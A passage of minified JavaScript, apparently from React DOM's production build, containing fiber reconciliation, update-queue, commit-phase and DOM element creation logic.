a.getSnapshotBeforeUpdate||u===e.memoizedProps&&l===e.memoizedState||(t.effectTag|=256),t.memoizedProps=r,t.memoizedState=d),a.props=r,a.state=d,a.context=c,r=s):("function"!=typeof a.componentDidUpdate||u===e.memoizedProps&&l===e.memoizedState||(t.effectTag|=4),"function"!=typeof a.getSnapshotBeforeUpdate||u===e.memoizedProps&&l===e.memoizedState||(t.effectTag|=256),r=!1);return Ni(e,t,n,r,i,o)}function Ni(e,t,n,r,o,i){Ei(e,t);var a=0!=(64&t.effectTag);if(!r&&!a)return o&&Lr(t,n,!1),ji(e,t,i);r=t.stateNode,xi.current=t;var u=a&&"function"!=typeof n.getDerivedStateFromError?null:r.render();return t.effectTag|=1,null!==e&&a?(t.child=yo(t,e.child,null,i),t.child=yo(t,null,u,i)):ki(e,t,u,i),t.memoizedState=r.state,o&&Lr(t,n,!0),t.child}function Ri(e){var t=e.stateNode;t.pendingContext?Ar(0,t.pendingContext,t.pendingContext!==t.context):t.context&&Ar(0,t.context,!1),ko(e,t.containerInfo)}function Mi(e,t,n){var r=t.mode,o=t.pendingProps,i=t.memoizedState;if(0==(64&t.effectTag)){i=null;var a=!1}else i={timedOutAt:null!==i?i.timedOutAt:0},a=!0,t.effectTag&=-65;if(null===e)if(a){var u=o.fallback;e=Yr(null,r,0,null),0==(1&t.mode)&&(e.child=null!==t.memoizedState?t.child.child:t.child),r=Yr(u,r,n,null),e.sibling=r,(n=e).return=r.return=t}else n=r=vo(t,null,o.children,n);else null!==e.memoizedState?(u=(r=e.child).sibling,a?(n=o.fallback,o=Qr(r,r.pendingProps),0==(1&t.mode)&&((a=null!==t.memoizedState?t.child.child:t.child)!==r.child&&(o.child=a)),r=o.sibling=Qr(u,n,u.expirationTime),n=o,o.childExpirationTime=0,n.return=r.return=t):n=r=yo(t,r.child,o.children,n)):(u=e.child,a?(a=o.fallback,(o=Yr(null,r,0,null)).child=u,0==(1&t.mode)&&(o.child=null!==t.memoizedState?t.child.child:t.child),(r=o.sibling=Yr(a,r,n,null)).effectTag|=2,n=o,o.childExpirationTime=0,n.return=r.return=t):r=n=yo(t,u,o.children,n)),t.stateNode=e.stateNode;return t.memoizedState=i,t.child=n,r}function ji(e,t,n){if(null!==e&&(t.contextDependencies=e.contextDependencies),t.childExpirationTime<n)return null;if(null!==e&&t.child!==e.child&&a("153"),null!==t.child){for(n=Qr(e=t.child,e.pendingProps,e.expirationTime),t.child=n,n.return=t;null!==e.sibling;)e=e.sibling,(n=n.sibling=Qr(e,e.pendingProps,e.expirationTime)).return=t;n.sibling=null}return t.child}function Di(e,t,n){var r=t.expirationTime;if(null!==e){if(e.memoizedProps!==t.pendingProps||Rr.current)Si=!0;else if(r<n){switch(Si=!1,t.tag){case 3:Ri(t),wi();break;case 5:Co(t);break;case 1:Dr(t.type)&&zr(t);break;case 4:ko(t,t.stateNode.containerInfo);break;case 10:zi(t,t.memoizedProps.value);break;case 13:if(null!==t.memoizedState)return 0!==(r=t.child.childExpirationTime)&&r>=n?Mi(e,t,n):null!==(t=ji(e,t,n))?t.sibling:null}return ji(e,t,n)}}else Si=!1;switch(t.expirationTime=0,t.tag){case 2:r=t.elementType,null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),e=t.pendingProps;var o=jr(t,Nr.current);if($i(t,n),o=Go(null,t,r,e,o,n),t.effectTag|=1,"object"==typeof o&&null!==o&&"function"==typeof o.render&&void 0===o.$$typeof){if(t.tag=1,Jo(),Dr(r)){var i=!0;zr(t)}else i=!1;t.memoizedState=null!==o.state&&void 0!==o.state?o.state:null;var u=r.getDerivedStateFromProps;"function"==typeof u&&io(t,r,u,e),o.updater=ao,t.stateNode=o,o._reactInternalFiber=t,so(t,r,e,n),t=Ni(null,t,r,!0,i,n)}else t.tag=0,ki(null,t,o,n),t=t.child;return t;case 16:switch(o=t.elementType,null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),i=t.pendingProps,e=function(e){var t=e._result;switch(e._status){case 1:return t;case 2:case 0:throw t;default:switch(e._status=0,(t=(t=e._ctor)()).then((function(t){0===e._status&&(t=t.default,e._status=1,e._result=t)}),(function(t){0===e._status&&(e._status=2,e._result=t)})),e._status){case 1:return e._result;case 2:throw e._result}throw e._result=t,t}}(o),t.type=e,o=t.tag=function(e){if("function"==typeof e)return qr(e)?1:0;if(null!=e){if((e=e.$$typeof)===nt)return 11;if(e===ot)return 14}return 2}(e),i=ro(e,i),u=void 0,o){case 0:u=Pi(null,t,e,i,n);break;case 1:u=Oi(null,t,e,i,n);break;case 11:u=Ti(null,t,e,i,n);break;case 14:u=Ci(null,t,e,ro(e.type,i),r,n);break;default:a("306",e,"")}return u;case 0:return r=t.type,o=t.pendingProps,Pi(e,t,r,o=t.elementType===r?o:ro(r,o),n);case 1:return r=t.type,o=t.pendingProps,Oi(e,t,r,o=t.elementType===r?o:ro(r,o),n);case 3:return Ri(t),null===(r=t.updateQueue)&&a("282"),o=null!==(o=t.memoizedState)?o.element:null,na(t,r,t.pendingProps,null,n),(r=t.memoizedState.element)===o?(wi(),t=ji(e,t,n)):(o=t.stateNode,(o=(null===e||null===e.child)&&o.hydrate)&&(pi=Tr(t.stateNode.containerInfo),di=t,o=mi=!0),o?(t.effectTag|=2,t.child=vo(t,null,r,n)):(ki(e,t,r,n),wi()),t=t.child),t;case 5:return Co(t),null===e&&vi(t),r=t.type,o=t.pendingProps,i=null!==e?e.memoizedProps:null,u=o.children,gr(r,o)?u=null:null!==i&&gr(r,i)&&(t.effectTag|=16),Ei(e,t),1!==n&&1&t.mode&&o.hidden?(t.expirationTime=t.childExpirationTime=1,t=null):(ki(e,t,u,n),t=t.child),t;case 6:return null===e&&vi(t),null;case 13:return Mi(e,t,n);case 4:return ko(t,t.stateNode.containerInfo),r=t.pendingProps,null===e?t.child=yo(t,null,r,n):ki(e,t,r,n),t.child;case 11:return r=t.type,o=t.pendingProps,Ti(e,t,r,o=t.elementType===r?o:ro(r,o),n);case 7:return ki(e,t,t.pendingProps,n),t.child;case 8:case 12:return ki(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,o=t.pendingProps,u=t.memoizedProps,zi(t,i=o.value),null!==u){var l=u.value;if(0===(i=Zt(l,i)?0:0|("function"==typeof r._calculateChangedBits?r._calculateChangedBits(l,i):1073741823))){if(u.children===o.children&&!Rr.current){t=ji(e,t,n);break e}}else for(null!==(l=t.child)&&(l.return=t);null!==l;){var c=l.contextDependencies;if(null!==c){u=l.child;for(var s=c.first;null!==s;){if(s.context===r&&0!=(s.observedBits&i)){1===l.tag&&((s=Xi(n)).tag=Hi,Ji(l,s)),l.expirationTime<n&&(l.expirationTime=n),null!==(s=l.alternate)&&s.expirationTime<n&&(s.expirationTime=n),s=n;for(var f=l.return;null!==f;){var d=f.alternate;if(f.childExpirationTime<s)f.childExpirationTime=s,null!==d&&d.childExpirationTime<s&&(d.childExpirationTime=s);else{if(!(null!==d&&d.childExpirationTime<s))break;d.childExpirationTime=s}f=f.return}c.expirationTime<n&&(c.expirationTime=n);break}s=s.next}}else u=10===l.tag&&l.type===t.type?null:l.child;if(null!==u)u.return=l;else for(u=l;null!==u;){if(u===t){u=null;break}if(null!==(l=u.sibling)){l.return=u.return,u=l;break}u=u.return}l=u}}ki(e,t,o.children,n),t=t.child}return t;case 9:return o=t.type,r=(i=t.pendingProps).children,$i(t,n),r=r(o=Wi(o,i.unstable_observedBits)),t.effectTag|=1,ki(e,t,r,n),t.child;case 14:return i=ro(o=t.type,t.pendingProps),Ci(e,t,o,i=ro(o.type,i),r,n);case 15:return _i(e,t,t.type,t.pendingProps,r,n);case 17:return r=t.type,o=t.pendingProps,o=t.elementType===r?o:ro(r,o),null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),t.tag=1,Dr(r)?(e=!0,zr(t)):e=!1,$i(t,n),lo(t,r,o),so(t,r,o,n),Ni(null,t,r,!0,e,n)}a("156")}var Ui={current:null},Ii=null,Ai=null,Fi=null;function zi(e,t){var n=e.type._context;Pr(Ui,n._currentValue),n._currentValue=t}function Li(e){var t=Ui.current;Er(Ui),e.type._context._currentValue=t}function $i(e,t){Ii=e,Fi=Ai=null;var n=e.contextDependencies;null!==n&&n.expirationTime>=t&&(Si=!0),e.contextDependencies=null}function Wi(e,t){return Fi!==e&&!1!==t&&0!==t&&("number"==typeof t&&1073741823!==t||(Fi=e,t=1073741823),t={context:e,observedBits:t,next:null},null===Ai?(null===Ii&&a("308"),Ai=t,Ii.contextDependencies={first:t,expirationTime:0}):Ai=Ai.next=t),e._currentValue}var Vi=0,Bi=1,Hi=2,qi=3,Qi=!1;function Ki(e){return{baseState:e,firstUpdate:null,lastUpdate:null,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function Yi(e){return{baseState:e.baseState,firstUpdate:e.firstUpdate,lastUpdate:e.lastUpdate,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function Xi(e){return{expirationTime:e,tag:Vi,payload:null,callback:null,next:null,nextEffect:null}}function Gi(e,t){null===e.lastUpdate?e.firstUpdate=e.lastUpdate=t:(e.lastUpdate.next=t,e.lastUpdate=t)}function Ji(e,t){var n=e.alternate;if(null===n){var r=e.updateQueue,o=null;null===r&&(r=e.updateQueue=Ki(e.memoizedState))}else r=e.updateQueue,o=n.updateQueue,null===r?null===o?(r=e.updateQueue=Ki(e.memoizedState),o=n.updateQueue=Ki(n.memoizedState)):r=e.updateQueue=Yi(o):null===o&&(o=n.updateQueue=Yi(r));null===o||r===o?Gi(r,t):null===r.lastUpdate||null===o.lastUpdate?(Gi(r,t),Gi(o,t)):(Gi(r,t),o.lastUpdate=t)}function Zi(e,t){var n=e.updateQueue;null===(n=null===n?e.updateQueue=Ki(e.memoizedState):ea(e,n)).lastCapturedUpdate?n.firstCapturedUpdate=n.lastCapturedUpdate=t:(n.lastCapturedUpdate.next=t,n.lastCapturedUpdate=t)}function ea(e,t){var n=e.alternate;return null!==n&&t===n.updateQueue&&(t=e.updateQueue=Yi(t)),t}function ta(e,t,n,r,i,a){switch(n.tag){case Bi:return"function"==typeof(e=n.payload)?e.call(a,r,i):e;case qi:e.effectTag=-2049&e.effectTag|64;case Vi:if(null==(i="function"==typeof(e=n.payload)?e.call(a,r,i):e))break;return o({},r,i);case Hi:Qi=!0}return r}function na(e,t,n,r,o){Qi=!1;for(var i=(t=ea(e,t)).baseState,a=null,u=0,l=t.firstUpdate,c=i;null!==l;){var s=l.expirationTime;s<o?(null===a&&(a=l,i=c),u<s&&(u=s)):(c=ta(e,0,l,c,n,r),null!==l.callback&&(e.effectTag|=32,l.nextEffect=null,null===t.lastEffect?t.firstEffect=t.lastEffect=l:(t.lastEffect.nextEffect=l,t.lastEffect=l))),l=l.next}for(s=null,l=t.firstCapturedUpdate;null!==l;){var f=l.expirationTime;f<o?(null===s&&(s=l,null===a&&(i=c)),u<f&&(u=f)):(c=ta(e,0,l,c,n,r),null!==l.callback&&(e.effectTag|=32,l.nextEffect=null,null===t.lastCapturedEffect?t.firstCapturedEffect=t.lastCapturedEffect=l:(t.lastCapturedEffect.nextEffect=l,t.lastCapturedEffect=l))),l=l.next}null===a&&(t.lastUpdate=null),null===s?t.lastCapturedUpdate=null:e.effectTag|=32,null===a&&null===s&&(i=c),t.baseState=i,t.firstUpdate=a,t.firstCapturedUpdate=s,e.expirationTime=u,e.memoizedState=c}function ra(e,t,n){null!==t.firstCapturedUpdate&&(null!==t.lastUpdate&&(t.lastUpdate.next=t.firstCapturedUpdate,t.lastUpdate=t.lastCapturedUpdate),t.firstCapturedUpdate=t.lastCapturedUpdate=null),oa(t.firstEffect,n),t.firstEffect=t.lastEffect=null,oa(t.firstCapturedEffect,n),t.firstCapturedEffect=t.lastCapturedEffect=null}function oa(e,t){for(;null!==e;){var n=e.callback;if(null!==n){e.callback=null;var r=t;"function"!=typeof n&&a("191",n),n.call(r)}e=e.nextEffect}}function ia(e,t){return{value:e,source:t,stack:ct(t)}}function aa(e){e.effectTag|=4}var ua=void 0,la=void 0,ca=void 0,sa=void 0;ua=function(e,t){for(var n=t.child;null!==n;){if(5===n.tag||6===n.tag)e.appendChild(n.stateNode);else if(4!==n.tag&&null!==n.child){n.child.return=n,n=n.child;continue}if(n===t)break;for(;null===n.sibling;){if(null===n.return||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}},la=function(){},ca=function(e,t,n,r,i){var a=e.memoizedProps;if(a!==r){var u=t.stateNode;switch(So(bo.current),e=null,n){case"input":a=wt(u,a),r=wt(u,r),e=[];break;case"option":a=Kn(u,a),r=Kn(u,r),e=[];break;case"select":a=o({},a,{value:void 0}),r=o({},r,{value:void 0}),e=[];break;case"textarea":a=Xn(u,a),r=Xn(u,r),e=[];break;default:"function"!=typeof a.onClick&&"function"==typeof r.onClick&&(u.onclick=mr)}fr(n,r),u=n=void 0;var l=null;for(n in a)if(!r.hasOwnProperty(n)&&a.hasOwnProperty(n)&&null!=a[n])if("style"===n){var c=a[n];for(u in c)c.hasOwnProperty(u)&&(l||(l={}),l[u]="")}else"dangerouslySetInnerHTML"!==n&&"children"!==n&&"suppressContentEditableWarning"!==n&&"suppressHydrationWarning"!==n&&"autoFocus"!==n&&(w.hasOwnProperty(n)?e||(e=[]):(e=e||[]).push(n,null));for(n in r){var s=r[n];if(c=null!=a?a[n]:void 0,r.hasOwnProperty(n)&&s!==c&&(null!=s||null!=c))if("style"===n)if(c){for(u in c)!c.hasOwnProperty(u)||s&&s.hasOwnProperty(u)||(l||(l={}),l[u]="");for(u in s)s.hasOwnProperty(u)&&c[u]!==s[u]&&(l||(l={}),l[u]=s[u])}else l||(e||(e=[]),e.push(n,l)),l=s;else"dangerouslySetInnerHTML"===n?(s=s?s.__html:void 0,c=c?c.__html:void 0,null!=s&&c!==s&&(e=e||[]).push(n,""+s)):"children"===n?c===s||"string"!=typeof s&&"number"!=typeof s||(e=e||[]).push(n,""+s):"suppressContentEditableWarning"!==n&&"suppressHydrationWarning"!==n&&(w.hasOwnProperty(n)?(null!=s&&pr(i,n),e||c===s||(e=[])):(e=e||[]).push(n,s))}l&&(e=e||[]).push("style",l),i=e,(t.updateQueue=i)&&aa(t)}},sa=function(e,t,n,r){n!==r&&aa(t)};var fa="function"==typeof WeakSet?WeakSet:Set;function da(e,t){var n=t.source,r=t.stack;null===r&&null!==n&&(r=ct(n)),null!==n&<(n.type),t=t.value,null!==e&&1===e.tag&<(e.type);try{console.error(t)}catch(e){setTimeout((function(){throw e}))}}function pa(e){var t=e.ref;if(null!==t)if("function"==typeof t)try{t(null)}catch(t){Ya(e,t)}else t.current=null}function ma(e,t,n){if(null!==(n=null!==(n=n.updateQueue)?n.lastEffect:null)){var r=n=n.next;do{if((r.tag&e)!==Eo){var o=r.destroy;r.destroy=void 0,void 0!==o&&o()}(r.tag&t)!==Eo&&(o=r.create,r.destroy=o()),r=r.next}while(r!==n)}}function ha(e){switch("function"==typeof Wr&&Wr(e),e.tag){case 0:case 11:case 14:case 15:var t=e.updateQueue;if(null!==t&&null!==(t=t.lastEffect)){var n=t=t.next;do{var r=n.destroy;if(void 0!==r){var o=e;try{r()}catch(e){Ya(o,e)}}n=n.next}while(n!==t)}break;case 1:if(pa(e),"function"==typeof(t=e.stateNode).componentWillUnmount)try{t.props=e.memoizedProps,t.state=e.memoizedState,t.componentWillUnmount()}catch(t){Ya(e,t)}break;case 5:pa(e);break;case 4:ga(e)}}function ya(e){return 5===e.tag||3===e.tag||4===e.tag}function va(e){e:{for(var t=e.return;null!==t;){if(ya(t)){var n=t;break e}t=t.return}a("160"),n=void 0}var r=t=void 0;switch(n.tag){case 5:t=n.stateNode,r=!1;break;case 3:case 4:t=n.stateNode.containerInfo,r=!0;break;default:a("161")}16&n.effectTag&&(ir(t,""),n.effectTag&=-17);e:t:for(n=e;;){for(;null===n.sibling;){if(null===n.return||ya(n.return)){n=null;break e}n=n.return}for(n.sibling.return=n.return,n=n.sibling;5!==n.tag&&6!==n.tag&&18!==n.tag;){if(2&n.effectTag)continue t;if(null===n.child||4===n.tag)continue t;n.child.return=n,n=n.child}if(!(2&n.effectTag)){n=n.stateNode;break e}}for(var o=e;;){if(5===o.tag||6===o.tag)if(n)if(r){var i=t,u=o.stateNode,l=n;8===i.nodeType?i.parentNode.insertBefore(u,l):i.insertBefore(u,l)}else t.insertBefore(o.stateNode,n);else r?(u=t,l=o.stateNode,8===u.nodeType?(i=u.parentNode).insertBefore(l,u):(i=u).appendChild(l),null!=(u=u._reactRootContainer)||null!==i.onclick||(i.onclick=mr)):t.appendChild(o.stateNode);else if(4!==o.tag&&null!==o.child){o.child.return=o,o=o.child;continue}if(o===e)break;for(;null===o.sibling;){if(null===o.return||o.return===e)return;o=o.return}o.sibling.return=o.return,o=o.sibling}}function ga(e){for(var t=e,n=!1,r=void 0,o=void 0;;){if(!n){n=t.return;e:for(;;){switch(null===n&&a("160"),n.tag){case 5:r=n.stateNode,o=!1;break e;case 3:case 4:r=n.stateNode.containerInfo,o=!0;break e}n=n.return}n=!0}if(5===t.tag||6===t.tag){e:for(var i=t,u=i;;)if(ha(u),null!==u.child&&4!==u.tag)u.child.return=u,u=u.child;else{if(u===i)break;for(;null===u.sibling;){if(null===u.return||u.return===i)break e;u=u.return}u.sibling.return=u.return,u=u.sibling}o?(i=r,u=t.stateNode,8===i.nodeType?i.parentNode.removeChild(u):i.removeChild(u)):r.removeChild(t.stateNode)}else if(4===t.tag){if(null!==t.child){r=t.stateNode.containerInfo,o=!0,t.child.return=t,t=t.child;continue}}else if(ha(t),null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return;4===(t=t.return).tag&&(n=!1)}t.sibling.return=t.return,t=t.sibling}}function ba(e,t){switch(t.tag){case 0:case 11:case 14:case 15:ma(Oo,No,t);break;case 1:break;case 5:var n=t.stateNode;if(null!=n){var r=t.memoizedProps;e=null!==e?e.memoizedProps:r;var o=t.type,i=t.updateQueue;t.updateQueue=null,null!==i&&function(e,t,n,r,o){e[U]=o,"input"===n&&"radio"===o.type&&null!=o.name&&St(e,o),dr(n,r),r=dr(n,o);for(var i=0;i<t.length;i+=2){var a=t[i],u=t[i+1];"style"===a?cr(e,u):"dangerouslySetInnerHTML"===a?or(e,u):"children"===a?ir(e,u):gt(e,a,u,r)}switch(n){case"input":kt(e,o);break;case"textarea":Jn(e,o);break;case"select":t=e._wrapperState.wasMultiple,e._wrapperState.wasMultiple=!!o.multiple,null!=(n=o.value)?Yn(e,!!o.multiple,n,!1):t!==!!o.multiple&&(null!=o.defaultValue?Yn(e,!!o.multiple,o.defaultValue,!0):Yn(e,!!o.multiple,o.multiple?[]:"",!1))}}(n,i,o,e,r)}break;case 6:null===t.stateNode&&a("162"),t.stateNode.nodeValue=t.memoizedProps;break;case 3:case 12:break;case 13:if(n=t.memoizedState,r=void 0,e=t,null===n?r=!1:(r=!0,e=t.child,0===n.timedOutAt&&(n.timedOutAt=Cu())),null!==e&&function(e,t){for(var n=e;;){if(5===n.tag){var r=n.stateNode;if(t)r.style.display="none";else{r=n.stateNode;var o=n.memoizedProps.style;o=null!=o&&o.hasOwnProperty("display")?o.display:null,r.style.display=lr("display",o)}}else if(6===n.tag)n.stateNode.nodeValue=t?"":n.memoizedProps;else{if(13===n.tag&&null!==n.memoizedState){(r=n.child.sibling).return=n,n=r;continue}if(null!==n.child){n.child.return=n,n=n.child;continue}}if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return;n=n.return}n.sibling.return=n.return,n=n.sibling}}(e,r),null!==(n=t.updateQueue)){t.updateQueue=null;var u=t.stateNode;null===u&&(u=t.stateNode=new fa),n.forEach((function(e){var n=Ja.bind(null,t,e);u.has(e)||(u.add(e),e.then(n,n))}))}break;case 17:break;default:a("163")}}var wa="function"==typeof WeakMap?WeakMap:Map;function xa(e,t,n){(n=Xi(n)).tag=qi,n.payload={element:null};var r=t.value;return n.callback=function(){Uu(r),da(e,t)},n}function Sa(e,t,n){(n=Xi(n)).tag=qi;var r=e.type.getDerivedStateFromError;if("function"==typeof r){var o=t.value;n.payload=function(){return r(o)}}var i=e.stateNode;return null!==i&&"function"==typeof i.componentDidCatch&&(n.callback=function(){"function"!=typeof r&&(null===Fa?Fa=new Set([this]):Fa.add(this));var n=t.value,o=t.stack;da(e,t),this.componentDidCatch(n,{componentStack:null!==o?o:""})}),n}function ka(e){switch(e.tag){case 1:Dr(e.type)&&Ur();var t=e.effectTag;return 2048&t?(e.effectTag=-2049&t|64,e):null;case 3:return To(),Ir(),0!=(64&(t=e.effectTag))&&a("285"),e.effectTag=-2049&t|64,e;case 5:return _o(e),null;case 13:return 2048&(t=e.effectTag)?(e.effectTag=-2049&t|64,e):null;case 18:return null;case 4:return To(),null;case 10:return Li(e),null;default:return null}}var Ta=He.ReactCurrentDispatcher,Ca=He.ReactCurrentOwner,_a=1073741822,Ea=!1,Pa=null,Oa=null,Na=0,Ra=-1,Ma=!1,ja=null,Da=!1,Ua=null,Ia=null,Aa=null,Fa=null;function za(){if(null!==Pa)for(var e=Pa.return;null!==e;){var t=e;switch(t.tag){case 1:var n=t.type.childContextTypes;null!=n&&Ur();break;case 3:To(),Ir();break;case 5:_o(t);break;case 4:To();break;case 10:Li(t)}e=e.return}Oa=null,Na=0,Ra=-1,Ma=!1,Pa=null}function La(){for(;null!==ja;){var e=ja.effectTag;if(16&e&&ir(ja.stateNode,""),128&e){var t=ja.alternate;null!==t&&(null!==(t=t.ref)&&("function"==typeof t?t(null):t.current=null))}switch(14&e){case 2:va(ja),ja.effectTag&=-3;break;case 6:va(ja),ja.effectTag&=-3,ba(ja.alternate,ja);break;case 4:ba(ja.alternate,ja);break;case 8:ga(e=ja),e.return=null,e.child=null,e.memoizedState=null,e.updateQueue=null,null!==(e=e.alternate)&&(e.return=null,e.child=null,e.memoizedState=null,e.updateQueue=null)}ja=ja.nextEffect}}function $a(){for(;null!==ja;){if(256&ja.effectTag)e:{var e=ja.alternate,t=ja;switch(t.tag){case 0:case 11:case 15:ma(Po,Eo,t);break e;case 1:if(256&t.effectTag&&null!==e){var n=e.memoizedProps,r=e.memoizedState;t=(e=t.stateNode).getSnapshotBeforeUpdate(t.elementType===t.type?n:ro(t.type,n),r),e.__reactInternalSnapshotBeforeUpdate=t}break e;case 3:case 5:case 6:case 4:case 17:break e;default:a("163")}}ja=ja.nextEffect}}function Wa(e,t){for(;null!==ja;){var n=ja.effectTag;if(36&n){var r=ja.alternate,o=ja,i=t;switch(o.tag){case 0:case 11:case 15:ma(Ro,Mo,o);break;case 1:var u=o.stateNode;if(4&o.effectTag)if(null===r)u.componentDidMount();else{var l=o.elementType===o.type?r.memoizedProps:ro(o.type,r.memoizedProps);u.componentDidUpdate(l,r.memoizedState,u.__reactInternalSnapshotBeforeUpdate)}null!==(r=o.updateQueue)&&ra(0,r,u);break;case 3:if(null!==(r=o.updateQueue)){if(u=null,null!==o.child)switch(o.child.tag){case 5:u=o.child.stateNode;break;case 1:u=o.child.stateNode}ra(0,r,u)}break;case 5:i=o.stateNode,null===r&&4&o.effectTag&&vr(o.type,o.memoizedProps)&&i.focus();break;case 6:case 4:case 12:case 13:case 17:break;default:a("163")}}128&n&&(null!==(o=ja.ref)&&(i=ja.stateNode,"function"==typeof o?o(i):o.current=i)),512&n&&(Ua=e),ja=ja.nextEffect}}function Va(e,t){Aa=Ia=Ua=null;var n=au;au=!0;do{if(512&t.effectTag){var r=!1,o=void 0;try{var i=t;ma(Do,Eo,i),ma(Eo,jo,i)}catch(e){r=!0,o=e}r&&Ya(t,o)}t=t.nextEffect}while(null!==t);au=n,0!==(n=e.expirationTime)&&_u(e,n),du||au||Ru(1073741823,!1)}function Ba(){null!==Ia&&Sr(Ia),null!==Aa&&Aa()}function Ha(e,t){Da=Ea=!0,e.current===t&&a("177");var n=e.pendingCommitExpirationTime;0===n&&a("261"),e.pendingCommitExpirationTime=0;var r=t.expirationTime,o=t.childExpirationTime;for(function(e,t){if(e.didError=!1,0===t)e.earliestPendingTime=0,e.latestPendingTime=0,e.earliestSuspendedTime=0,e.latestSuspendedTime=0,e.latestPingedTime=0;else{t<e.latestPingedTime&&(e.latestPingedTime=0);var n=e.latestPendingTime;0!==n&&(n>t?e.earliestPendingTime=e.latestPendingTime=0:e.earliestPendingTime>t&&(e.earliestPendingTime=e.latestPendingTime)),0===(n=e.earliestSuspendedTime)?Zr(e,t):t<e.latestSuspendedTime?(e.earliestSuspendedTime=0,e.latestSuspendedTime=0,e.latestPingedTime=0,Zr(e,t)):t>n&&Zr(e,t)}no(0,e)}(e,o>r?o:r),Ca.current=null,r=void 0,1<t.effectTag?null!==t.lastEffect?(t.lastEffect.nextEffect=t,r=t.firstEffect):r=t:r=t.firstEffect,hr=Cn,yr=function(){var e=An();if(Fn(e)){if("selectionStart"in e)var t={start:e.selectionStart,end:e.selectionEnd};else e:{var n=(t=(t=e.ownerDocument)&&t.defaultView||window).getSelection&&t.getSelection();if(n&&0!==n.rangeCount){t=n.anchorNode;var r=n.anchorOffset,o=n.focusNode;n=n.focusOffset;try{t.nodeType,o.nodeType}catch(e){t=null;break e}var i=0,a=-1,u=-1,l=0,c=0,s=e,f=null;t:for(;;){for(var d;s!==t||0!==r&&3!==s.nodeType||(a=i+r),s!==o||0!==n&&3!==s.nodeType||(u=i+n),3===s.nodeType&&(i+=s.nodeValue.length),null!==(d=s.firstChild);)f=s,s=d;for(;;){if(s===e)break t;if(f===t&&++l===r&&(a=i),f===o&&++c===n&&(u=i),null!==(d=s.nextSibling))break;f=(s=f).parentNode}s=d}t=-1===a||-1===u?null:{start:a,end:u}}else t=null}t=t||{start:0,end:0}}else t=null;return{focusedElem:e,selectionRange:t}}(),Cn=!1,ja=r;null!==ja;){o=!1;var u=void 0;try{$a()}catch(e){o=!0,u=e}o&&(null===ja&&a("178"),Ya(ja,u),null!==ja&&(ja=ja.nextEffect))}for(ja=r;null!==ja;){o=!1,u=void 0;try{La()}catch(e){o=!0,u=e}o&&(null===ja&&a("178"),Ya(ja,u),null!==ja&&(ja=ja.nextEffect))}for(zn(yr),yr=null,Cn=!!hr,hr=null,e.current=t,ja=r;null!==ja;){o=!1,u=void 0;try{Wa(e,n)}catch(e){o=!0,u=e}o&&(null===ja&&a("178"),Ya(ja,u),null!==ja&&(ja=ja.nextEffect))}if(null!==r&&null!==Ua){var l=Va.bind(null,e,r);Ia=i.unstable_runWithPriority(i.unstable_NormalPriority,(function(){return xr(l)})),Aa=l}Ea=Da=!1,"function"==typeof $r&&$r(t.stateNode),n=t.expirationTime,0===(t=(t=t.childExpirationTime)>n?t:n)&&(Fa=null),function(e,t){e.expirationTime=t,e.finishedWork=null}(e,t)}function qa(e){for(;;){var t=e.alternate,n=e.return,r=e.sibling;if(0==(1024&e.effectTag)){Pa=e;e:{var i=t,u=Na,l=(t=e).pendingProps;switch(t.tag){case 2:case 16:break;case 15:case 0:break;case 1:Dr(t.type)&&Ur();break;case 3:To(),Ir(),(l=t.stateNode).pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),null!==i&&null!==i.child||(bi(t),t.effectTag&=-3),la(t);break;case 5:_o(t);var c=So(xo.current);if(u=t.type,null!==i&&null!=t.stateNode)ca(i,t,u,l,c),i.ref!==t.ref&&(t.effectTag|=128);else if(l){var s=So(bo.current);if(bi(t)){i=(l=t).stateNode;var f=l.type,d=l.memoizedProps,p=c;switch(i[D]=l,i[U]=d,u=void 0,c=f){case"iframe":case"object":_n("load",i);break;case"video":case"audio":for(f=0;f<ne.length;f++)_n(ne[f],i);break;case"source":_n("error",i);break;case"img":case"image":case"link":_n("error",i),_n("load",i);break;case"form":_n("reset",i),_n("submit",i);break;case"details":_n("toggle",i);break;case"input":xt(i,d),_n("invalid",i),pr(p,"onChange");break;case"select":i._wrapperState={wasMultiple:!!d.multiple},_n("invalid",i),pr(p,"onChange");break;case"textarea":Gn(i,d),_n("invalid",i),pr(p,"onChange")}for(u in fr(c,d),f=null,d)d.hasOwnProperty(u)&&(s=d[u],"children"===u?"string"==typeof s?i.textContent!==s&&(f=["children",s]):"number"==typeof s&&i.textContent!==""+s&&(f=["children",""+s]):w.hasOwnProperty(u)&&null!=s&&pr(p,u));switch(c){case"input":Ve(i),Tt(i,d,!0);break;case"textarea":Ve(i),Zn(i);break;case"select":case"option":break;default:"function"==typeof d.onClick&&(i.onclick=mr)}u=f,l.updateQueue=u,(l=null!==u)&&aa(t)}else{d=t,p=u,i=l,f=9===c.nodeType?c:c.ownerDocument,s===er.html&&(s=tr(p)),s===er.html?"script"===p?((i=f.createElement("div")).innerHTML="<script><\/script>",f=i.removeChild(i.firstChild)):"string"==typeof i.is?f=f.createElement(p,{is:i.is}):(f=f.createElement(p),"select"===p&&(p=f,i.multiple?p.multiple=!0:i.size&&(p.size=i.size))):f=f.createElementNS(s,p),(i=f)[D]=d,i[U]=l,ua(i,t,!1,!1),p=i;var m=c,h=dr(f=u,d=l);switch(f){case"iframe":case"object":_n("load",p),c=d;break;case"video":case"audio":for(c=0;c<ne.length;c++)_n(ne[c],p);c=d;break;case"source":_n("error",p),c=d;break;case"img":case"image":case"link":_n("error",p),_n("load",p),c=d;break;case"form":_n("reset",p),_n("submit",p),c=d;break;case"details":_n("toggle",p),c=d;break;case"input":xt(p,d),c=wt(p,d),_n("invalid",p),pr(m,"onChange");break;case"option":c=Kn(p,d);break;case"select":p._wrapperState={wasMultiple:!!d.multiple},c=o({},d,{value:void 